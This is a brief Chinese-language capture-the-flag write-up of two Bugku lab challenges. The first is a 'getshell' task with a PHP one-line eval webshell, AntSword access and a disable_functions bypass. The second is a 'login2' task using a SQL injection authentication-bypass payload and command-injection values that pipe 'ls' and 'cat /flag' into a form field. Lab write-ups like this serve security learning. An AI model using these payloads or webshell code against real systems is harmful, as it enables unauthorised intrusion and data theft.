1.Bugku
getshell
wp
打开靶机后发现是一堆看不懂的php代码,看了wp,是混淆过的,把页面保存一下然后在线解密。
<?php
highlight_file(__FILE__);
@eval($_POST[ymlisisisiook]);
?>
发现这就是一个简单的一句话木马,尝试用蚁剑连接一下。
连接之后发现只能访问/var/www/html/index.php,其他的无权限查看。
这里需要在蚁剑的插件库里安装disable_functions,如果连接不到插件库可以修改代理设置为
使用disable_functions插件。
发现putenv函数(改变或增加环境变量)并没有被禁用。
然后连接上传的文件。
访问根目录下的flag即可。
login2
先抓包测试一下,发现返回的包里有tip。
base64解码得到一段SQL语句。
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
//sql查询返回列数为2
//要求不为空,且输入的password等于md5(password)
根据语句,构造payload。
username=admin'union select 1,md5(123)#&password=123
到这一步完全不会做了。
wp
这里要用到写入文件二次返回的方法。
输入"1|ls ../../../>test"来将目录信息写入test文件,然后访问test文件即可看到目录。
然后使用"1|cat /flag>test"来获取flag。